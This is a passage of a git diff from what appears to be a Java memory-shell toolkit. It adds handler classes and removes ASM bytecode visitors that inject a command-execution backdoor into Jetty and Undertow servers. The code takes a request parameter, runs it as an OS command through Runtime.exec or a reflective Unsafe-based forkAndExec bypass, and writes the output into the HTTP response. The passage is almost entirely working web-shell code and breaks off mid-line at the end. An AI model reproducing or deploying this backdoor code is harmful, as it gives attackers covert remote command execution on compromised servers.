// Store Process in local var 5 - - // Get input stream: InputStream inputStream = exec.getInputStream(); - mv.visitVarInsn(Opcodes.ALOAD, processIndex); // Load Process - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Process", "getInputStream", - "()Ljava/io/InputStream;", false); - mv.visitVarInsn(Opcodes.ASTORE, inputStreamIndex); // Store InputStream in local var 6 - - // Get response output stream - mv.visitVarInsn(Opcodes.ALOAD, responseIndex); // Load response (second param) - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", - "()Ljava/lang/Class;", false); - mv.visitLdcInsn("getOutputStream"); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", - "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); - mv.visitVarInsn(Opcodes.ALOAD, responseIndex); // Load response - mv.visitInsn(Opcodes.ICONST_0); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", - "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); - mv.visitTypeInsn(Opcodes.CHECKCAST, "java/io/OutputStream"); - mv.visitVarInsn(Opcodes.ASTORE, outputStreamIndex); // Store OutputStream in local var 7 - - // Create buffer: byte[] buf = new byte[8192]; - mv.visitIntInsn(Opcodes.SIPUSH, 8192); - mv.visitIntInsn(Opcodes.NEWARRAY, Opcodes.T_BYTE); - mv.visitVarInsn(Opcodes.ASTORE, bufferIndex); // Store byte[] in local var 8 - - // While loop to read and write data - Label loopStart = new Label(); - Label loopEnd = new Label(); - - // Start of loop - mv.visitLabel(loopStart); - - // Read data: inputStream.read(buf) - mv.visitVarInsn(Opcodes.ALOAD, inputStreamIndex); // Load inputStream - mv.visitVarInsn(Opcodes.ALOAD, bufferIndex); // Load buffer - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/InputStream", "read", - "([B)I", false); - mv.visitVarInsn(Opcodes.ISTORE, lengthIndex); // Store length in local var 9 - - // Check if length == -1 - mv.visitVarInsn(Opcodes.ILOAD, lengthIndex); - mv.visitInsn(Opcodes.ICONST_M1); - mv.visitJumpInsn(Opcodes.IF_ICMPEQ, loopEnd); - - // Write data: outputStream.write(buf, 0, length) - mv.visitVarInsn(Opcodes.ALOAD, outputStreamIndex); // Load outputStream - mv.visitVarInsn(Opcodes.ALOAD, bufferIndex); // Load buffer - mv.visitInsn(Opcodes.ICONST_0); - mv.visitVarInsn(Opcodes.ILOAD, lengthIndex); // Load length - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/OutputStream", "write", - "([BII)V", false); - - // Go back to start of loop - mv.visitJumpInsn(Opcodes.GOTO, loopStart); - - // End of loop - mv.visitLabel(loopEnd); - - // Return from the method without calling original doFilter - mv.visitInsn(Opcodes.RETURN); - - // If cmd is null, continue with original method - mv.visitLabel(ifNullLabel); - - // End of try block - mv.visitLabel(tryEnd); - - // Skip catch block if we didn't enter it - Label afterCatch = new Label(); - mv.visitJumpInsn(Opcodes.GOTO, afterCatch); - - // Start of catch block - mv.visitLabel(catchHandler); - // The exception is now on the stack - mv.visitVarInsn(Opcodes.ASTORE, exceptionIndex); // Store exception in local var 10 and discard it - - // End of catch block - mv.visitLabel(afterCatch); - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyHandler.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyHandler.java new file mode 100644 index 00000000..cf0b7f4e --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyHandler.java @@ -0,0 +1,163 @@ +package com.reajason.javaweb.memshell.shelltool.command; + +import sun.misc.Unsafe; + +import java.io.InputStream; +import java.io.OutputStream; +import java.lang.reflect.Field; +import java.lang.reflect.Method; + +/** + * @author ReaJason + * @since 2025/5/15 + */ +public class CommandJettyHandler { + public static String paramName; + + public String getParam(String param) { + return param; + } + + @Override + public boolean equals(Object obj) { + Object[] args = ((Object[]) obj); + Object baseRequest = null; + Object request = null; + Object response = null; + if (args.length == 4) { + Object arg4 = args[3]; + baseRequest = args[1]; + if (arg4 instanceof Integer) { + // jetty6 + request = args[1]; + response = args[2]; + } else { + request = args[2]; + response = args[3]; + } + } else { + // ee10 + request = args[0]; + response = args[1]; + } + try { + String cmd = getParam((String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName)); + if (cmd != null) { + if (baseRequest != null) { + baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true); + } + InputStream inputStream = null; + try { + inputStream = forkAndExec(cmd); + } catch (Throwable e) { + inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); + } + OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + return true; + } + } catch (Exception e) { + e.printStackTrace(); + } + return false; + } + + @SuppressWarnings("all") + public static InputStream forkAndExec(String cmd) throws Exception { + String[] strs = cmd.split("\\s+"); + Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe"); + theUnsafeField.setAccessible(true); + Unsafe unsafe = (Unsafe) theUnsafeField.get(null); + + Class processClass = null; + + try { + processClass = Class.forName("java.lang.UNIXProcess"); + } catch (ClassNotFoundException e) { + processClass = Class.forName("java.lang.ProcessImpl"); + } + Object processObject = unsafe.allocateInstance(processClass); + + byte[][] args = new byte[strs.length - 1][]; + int size = args.length; + + for (int i = 0; i < args.length; i++) { + args[i] = strs[i + 1].getBytes(); + size += args[i].length; + } + + byte[] argBlock = new byte[size]; + int i = 0; + + for (byte[] arg : args) { + System.arraycopy(arg, 0, argBlock, i, arg.length); + i += arg.length + 1; + } + + int[] envc = new int[1]; + int[] std_fds = new int[]{-1, -1, -1}; + byte[] result = toCString(strs[0]); + try { + Field helperpathField = processClass.getDeclaredField("helperpath"); + helperpathField.setAccessible(true); + byte[] helperpathObject = (byte[]) helperpathField.get(processObject); + + Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); + launchMechanismField.setAccessible(true); + Object launchMechanismObject = launchMechanismField.get(processObject); + int mode = 0; + try { + Field value = launchMechanismObject.getClass().getDeclaredField("value"); + value.setAccessible(true); + mode = (Integer) value.get(launchMechanismObject); + } catch (NoSuchFieldException e) { + int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject); + mode = ordinal + 1; + } + + Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, + byte[].class, int.class, byte[].class, int[].class, boolean.class); + forkMethod.setAccessible(true); + forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length, + null, envc[0], null, std_fds, false); + } catch (NoSuchFieldException e) { + // JDK7 + Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class, + byte[].class, int.class, byte[].class, int[].class, boolean.class); + forkMethod.setAccessible(true); + forkMethod.invoke(processObject, result, argBlock, args.length, + null, envc[0], null, std_fds, false); + } + + try { + Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); + initStreamsMethod.setAccessible(true); + initStreamsMethod.invoke(processObject, std_fds); + } catch (NoSuchMethodException e) { + // JDK11 + Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class); + initStreamsMethod.setAccessible(true); + initStreamsMethod.invoke(processObject, std_fds, false); + } + + Method getInputStreamMethod = processClass.getMethod("getInputStream"); + getInputStreamMethod.setAccessible(true); + return (InputStream) getInputStreamMethod.invoke(processObject); + } + + private static byte[] toCString(String s) { + if (s == null) + return null; + byte[] bytes = s.getBytes(); + byte[] result = new byte[bytes.length + 1]; + System.arraycopy(bytes, 0, + result, 0, + bytes.length); + result[result.length - 1] = (byte) 0; + return result; + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUndertowServletHandler.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUndertowServletHandler.java new file mode 100644 index 00000000..0a13d11c --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUndertowServletHandler.java @@ -0,0 +1,149 @@ +package com.reajason.javaweb.memshell.shelltool.command; + +import sun.misc.Unsafe; + +import java.io.InputStream; +import java.io.OutputStream; +import java.lang.reflect.Field; +import java.lang.reflect.Method; + +/** + * @author ReaJason + * @since 2025/5/15 + */ +public class CommandUndertowServletHandler { + public static String paramName; + + public String getParam(String param) { + return param; + } + + @Override + public boolean equals(Object obj) { + Object[] args = ((Object[]) obj); + try { + Object servletRequestContext = null; + if (args.length == 2) { + servletRequestContext = args[1]; + } else { + servletRequestContext = args[2]; + } + Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext); + Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext); + String cmd = getParam((String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName)); + if (cmd != null) { + InputStream inputStream = null; + try { + inputStream = forkAndExec(cmd); + } catch (Throwable e) { + inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); + } + OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + return true; + } + } catch (Exception e) { + e.printStackTrace(); + } + return false; + } + + @SuppressWarnings("all") + public static InputStream forkAndExec(String cmd) throws Exception { + String[] strs = cmd.split("\\s+"); + Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe"); + theUnsafeField.setAccessible(true); + Unsafe unsafe = (Unsafe) theUnsafeField.get(null); + + Class processClass = null; + + try { + processClass = Class.forName("java.lang.UNIXProcess"); + } catch (ClassNotFoundException e) { + processClass = Class.forName("java.lang.ProcessImpl"); + } + Object processObject = unsafe.allocateInstance(processClass); + + byte[][] args = new byte[strs.length - 1][]; + int size = args.length; + + for (int i = 0; i < args.length; i++) { + args[i] = strs[i + 1].getBytes(); + size += args[i].length; + } + + byte[] argBlock = new byte[size]; + int i = 0; + + for (byte[] arg : args) { + System.arraycopy(arg, 0, argBlock, i, arg.length); + i += arg.length + 1; + } + + int[] envc = new int[1]; + int[] std_fds = new int[]{-1, -1, -1}; + byte[] result = toCString(strs[0]); + try { + Field helperpathField = processClass.getDeclaredField("helperpath"); + helperpathField.setAccessible(true); + byte[] helperpathObject = (byte[]) helperpathField.get(processObject); + + Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); + launchMechanismField.setAccessible(true); + Object launchMechanismObject = launchMechanismField.get(processObject); + int mode = 0; + try { + Field value = launchMechanismObject.getClass().getDeclaredField("value"); + value.setAccessible(true); + mode = (Integer) value.get(launchMechanismObject); + } catch (NoSuchFieldException e) { + int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject); + mode = ordinal + 1; + } + + Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, + byte[].class, int.class, byte[].class, int[].class, boolean.class); + forkMethod.setAccessible(true); + forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length, + null, envc[0], null, std_fds, false); + } catch (NoSuchFieldException e) { + // JDK7 + Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class, + byte[].class, int.class, byte[].class, int[].class, boolean.class); + forkMethod.setAccessible(true); + forkMethod.invoke(processObject, result, argBlock, args.length, + null, envc[0], null, std_fds, false); + } + + try { + Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); + initStreamsMethod.setAccessible(true); + initStreamsMethod.invoke(processObject, std_fds); + } catch (NoSuchMethodException e) { + // JDK11 + Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class); + initStreamsMethod.setAccessible(true); + initStreamsMethod.invoke(processObject, std_fds, false); + } + + Method getInputStreamMethod = processClass.getMethod("getInputStream"); + getInputStreamMethod.setAccessible(true); + return (InputStream) getInputStreamMethod.invoke(processObject); + } + + private static byte[] toCString(String s) { + if (s == null) + return null; + byte[] bytes = s.getBytes(); + byte[] result = new byte[bytes.length + 1]; + System.arraycopy(bytes, 0, + result, 0, + bytes.length); + result[result.length - 1] = (byte) 0; + return result; + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/jetty/CommandHandlerAdvisor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/jetty/CommandHandlerAdvisor.java deleted file mode 100644 index e1024934..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/jetty/CommandHandlerAdvisor.java +++ /dev/null @@ -1,38 +0,0 @@ -package com.reajason.javaweb.memshell.shelltool.command.jetty; - -import net.bytebuddy.asm.Advice; - -import java.io.InputStream; -import java.io.OutputStream; - -/** - * @author ReaJason - */ -public class CommandHandlerAdvisor { - - @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class) - public static boolean enter( - @Advice.Argument(value = 1) Object baseRequest, - @Advice.Argument(value = 2) Object request, - @Advice.Argument(value = 3) Object response - ) { - String paramName = "paramName"; - try { - String cmd = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName); - if (cmd != null) { - baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true); - Process exec = Runtime.getRuntime().exec(cmd); - InputStream inputStream = exec.getInputStream(); - OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); - byte[] buf = new byte[8192]; - int length; - while ((length = inputStream.read(buf)) != -1) { - outputStream.write(buf, 0, length); - } - return true; - } - } catch (Exception ignored) { - } - return false; - } -} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/jetty/CommandHandlerAsmMethodVisitor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/jetty/CommandHandlerAsmMethodVisitor.java deleted file mode 100644 index e14ae084..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/jetty/CommandHandlerAsmMethodVisitor.java +++ /dev/null @@ -1,196 +0,0 @@ -package com.reajason.javaweb.memshell.shelltool.command.jetty; - -import org.objectweb.asm.Label; -import org.objectweb.asm.MethodVisitor; -import org.objectweb.asm.Opcodes; -import org.objectweb.asm.Type; - -/** - * @author ReaJason - */ -public class CommandHandlerAsmMethodVisitor extends MethodVisitor { - - private final Type[] argumentTypes; - - public CommandHandlerAsmMethodVisitor(MethodVisitor mv, Type[] argumentTypes) { - super(Opcodes.ASM9, mv); - this.argumentTypes = argumentTypes; - } - - @Override - public void visitCode() { - super.visitCode(); - - // Calculate the first available local variable index - int startIndex = 1; - for (Type type : argumentTypes) { - startIndex += type.getSize(); - } - - // Explicitly define indices for all local variables - int paramNameIndex = startIndex; - int cmdIndex = startIndex + 1; - int processIndex = startIndex + 2; - int inputStreamIndex = startIndex + 3; - int outputStreamIndex = startIndex + 4; - int bufferIndex = startIndex + 5; - int lengthIndex = startIndex + 6; - int exceptionIndex = startIndex + 7; - - // Access method arguments - adjust based on whether method is static or not - int baseRequestIndex = 2; // Arg index 1 - int requestIndex = 3; // Arg index 2 - int responseIndex = 4; // Arg index 3 - - // Define our parameter name - mv.visitLdcInsn("paramName"); - mv.visitVarInsn(Opcodes.ASTORE, paramNameIndex); - - // Define labels for try-catch - Label tryStart = new Label(); - Label tryEnd = new Label(); - Label catchHandler = new Label(); - Label returnFalseLabel = new Label(); - - // Register the try-catch block - mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Exception"); - - // Start of try block - mv.visitLabel(tryStart); - - // Get the parameter: cmd = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName) - mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request (first param) - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", - "()Ljava/lang/Class;", false); - mv.visitLdcInsn("getParameter"); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitLdcInsn(Type.getType("Ljava/lang/String;")); - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", - "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); - - // Invoke the getParameter method - mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request object - mv.visitInsn(Opcodes.ICONST_1); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitVarInsn(Opcodes.ALOAD, paramNameIndex); // Load paramName - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", - "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); - mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/String"); - mv.visitVarInsn(Opcodes.ASTORE, cmdIndex); // Store cmd in local var 4 - - // If cmd == null, return false - mv.visitVarInsn(Opcodes.ALOAD, cmdIndex); - mv.visitJumpInsn(Opcodes.IFNULL, returnFalseLabel); - - // Set baseRequest.setHandled(true) - mv.visitVarInsn(Opcodes.ALOAD, baseRequestIndex); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false); - mv.visitLdcInsn("setHandled"); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitFieldInsn(Opcodes.GETSTATIC, "java/lang/Boolean", "TYPE", "Ljava/lang/Class;"); - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); - mv.visitVarInsn(Opcodes.ALOAD, baseRequestIndex); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Boolean", "valueOf", "(Z)Ljava/lang/Boolean;", false); - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); - mv.visitInsn(Opcodes.POP); - - // Execute the command: Process exec = Runtime.getRuntime().exec(cmd); - mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false); - mv.visitVarInsn(Opcodes.ALOAD, cmdIndex); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false); - mv.visitVarInsn(Opcodes.ASTORE, processIndex); - - // Get input stream: InputStream inputStream = exec.getInputStream(); - mv.visitVarInsn(Opcodes.ALOAD, processIndex); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Process", "getInputStream", "()Ljava/io/InputStream;", false); - mv.visitVarInsn(Opcodes.ASTORE, inputStreamIndex); - - // Get response output stream: OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); - mv.visitVarInsn(Opcodes.ALOAD, responseIndex); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false); - mv.visitLdcInsn("getOutputStream"); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); - mv.visitVarInsn(Opcodes.ALOAD, responseIndex); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); - mv.visitTypeInsn(Opcodes.CHECKCAST, "java/io/OutputStream"); - mv.visitVarInsn(Opcodes.ASTORE, outputStreamIndex); - - // Create buffer: byte[] buf = new byte[8192]; - mv.visitIntInsn(Opcodes.SIPUSH, 8192); - mv.visitIntInsn(Opcodes.NEWARRAY, Opcodes.T_BYTE); - mv.visitVarInsn(Opcodes.ASTORE, bufferIndex); - - // While loop to read and write data - Label loopStart = new Label(); - Label loopEnd = new Label(); - - // Start of loop - mv.visitLabel(loopStart); - - // Read data: inputStream.read(buf) - mv.visitVarInsn(Opcodes.ALOAD, inputStreamIndex); - mv.visitVarInsn(Opcodes.ALOAD, bufferIndex); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/InputStream", "read", "([B)I", false); - mv.visitVarInsn(Opcodes.ISTORE, lengthIndex); - - // Check if length == -1 - mv.visitVarInsn(Opcodes.ILOAD, lengthIndex); - mv.visitInsn(Opcodes.ICONST_M1); - mv.visitJumpInsn(Opcodes.IF_ICMPEQ, loopEnd); - - // Write data: outputStream.write(buf, 0, length) - mv.visitVarInsn(Opcodes.ALOAD, outputStreamIndex); - mv.visitVarInsn(Opcodes.ALOAD, bufferIndex); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitVarInsn(Opcodes.ILOAD, lengthIndex); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/OutputStream", "write", "([BII)V", false); - - // Go back to start of loop - mv.visitJumpInsn(Opcodes.GOTO, loopStart); - - // End of loop - mv.visitLabel(loopEnd); - - // Return from the method without calling original doFilter - mv.visitInsn(Opcodes.RETURN); - - // If cmd is null, continue with original method - mv.visitLabel(returnFalseLabel); - - // End of try block - mv.visitLabel(tryEnd); - - // Skip catch block if we didn't enter it - Label afterCatch = new Label(); - mv.visitJumpInsn(Opcodes.GOTO, afterCatch); - - // Start of catch block - mv.visitLabel(catchHandler); - // The exception is now on the stack - mv.visitVarInsn(Opcodes.ASTORE, exceptionIndex); // Store exception in local var 10 and discard it - - // End of catch block - mv.visitLabel(afterCatch); - } -} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/undertow/CommandServerInitialHandlerAsmMethodVisitor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/undertow/CommandServerInitialHandlerAsmMethodVisitor.java deleted file mode 100644 index c6784657..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/undertow/CommandServerInitialHandlerAsmMethodVisitor.java +++ /dev/null @@ -1,211 +0,0 @@ -package com.reajason.javaweb.memshell.shelltool.command.undertow; - -import org.objectweb.asm.Label; -import org.objectweb.asm.MethodVisitor; -import org.objectweb.asm.Opcodes; -import org.objectweb.asm.Type; - -/** - * @author ReaJason - */ -public class CommandServerInitialHandlerAsmMethodVisitor extends MethodVisitor { - - private final Type[] argumentTypes; - - public CommandServerInitialHandlerAsmMethodVisitor(MethodVisitor mv, Type[] argumentTypes) { - super(Opcodes.ASM9, mv); - this.argumentTypes = argumentTypes; - } - - @Override - public void visitCode() { - super.visitCode(); - - // First local variable index after method parameters - int localVarIndex = 1; - for (Type type : argumentTypes) { - localVarIndex += type.getSize(); - } - - // Define our parameter name - mv.visitLdcInsn("paramName"); - int paramNameIndex = localVarIndex++; - mv.visitVarInsn(Opcodes.ASTORE, paramNameIndex); // Store "paramName" - - // Define labels for try-catch - Label tryStart = new Label(); - Label tryEnd = new Label(); - Label catchHandler = new Label(); - - // Register the try-catch block - mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Exception"); - - // Start of try block - mv.visitLabel(tryStart); - - // Initialize servletRequestContext as null - mv.visitInsn(Opcodes.ACONST_NULL); - int servletRequestContextIndex = localVarIndex++; - mv.visitVarInsn(Opcodes.ASTORE, servletRequestContextIndex); // Store servletRequestContext - - // Determine which argument is servletRequestContext - // Check argumentTypes.length - if argumentTypes.length == 2, use arg[1], else use arg[2] - if (argumentTypes.length == 2) { - // Access first argument (adjusted for static/instance method) - mv.visitVarInsn(Opcodes.ALOAD, 2); - } else { - // Access second argument (adjusted for static/instance method) - mv.visitVarInsn(Opcodes.ALOAD, 3); - } - - mv.visitVarInsn(Opcodes.ASTORE, servletRequestContextIndex); // Store in servletRequestContext variable - - // Get request: request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext) - mv.visitVarInsn(Opcodes.ALOAD, servletRequestContextIndex); // Load servletRequestContext - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false); - mv.visitLdcInsn("getServletRequest"); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); - mv.visitVarInsn(Opcodes.ALOAD, servletRequestContextIndex); // Load servletRequestContext - mv.visitInsn(Opcodes.ICONST_0); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); - int requestIndex = localVarIndex++; - mv.visitVarInsn(Opcodes.ASTORE, requestIndex); // Store request - - // Get response: response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext) - mv.visitVarInsn(Opcodes.ALOAD, servletRequestContextIndex); // Load servletRequestContext - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false); - mv.visitLdcInsn("getServletResponse"); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); - mv.visitVarInsn(Opcodes.ALOAD, servletRequestContextIndex); // Load servletRequestContext - mv.visitInsn(Opcodes.ICONST_0); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); - int responseIndex = localVarIndex++; - mv.visitVarInsn(Opcodes.ASTORE, responseIndex); // Store response - - // Get the parameter: cmd = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName) - mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request (first param) - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", - "()Ljava/lang/Class;", false); - mv.visitLdcInsn("getParameter"); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitLdcInsn(Type.getType("Ljava/lang/String;")); - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", - "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); - - // Invoke the getParameter method - mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request object - mv.visitInsn(Opcodes.ICONST_1); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitVarInsn(Opcodes.ALOAD, paramNameIndex); // Load paramName - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", - "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); - mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/String"); - int cmdValueIndex = localVarIndex++; - mv.visitVarInsn(Opcodes.ASTORE, cmdValueIndex); // Store cmd in local var 4 - - // Check if cmd is not null - mv.visitVarInsn(Opcodes.ALOAD, cmdValueIndex); // Load cmd - Label ifNullLabel = new Label(); - mv.visitJumpInsn(Opcodes.IFNULL, ifNullLabel); - - // Execute the command: Process exec = Runtime.getRuntime().exec(cmd); - mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false); - mv.visitVarInsn(Opcodes.ALOAD, cmdValueIndex); // Load cmd - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false); - int processIndex = 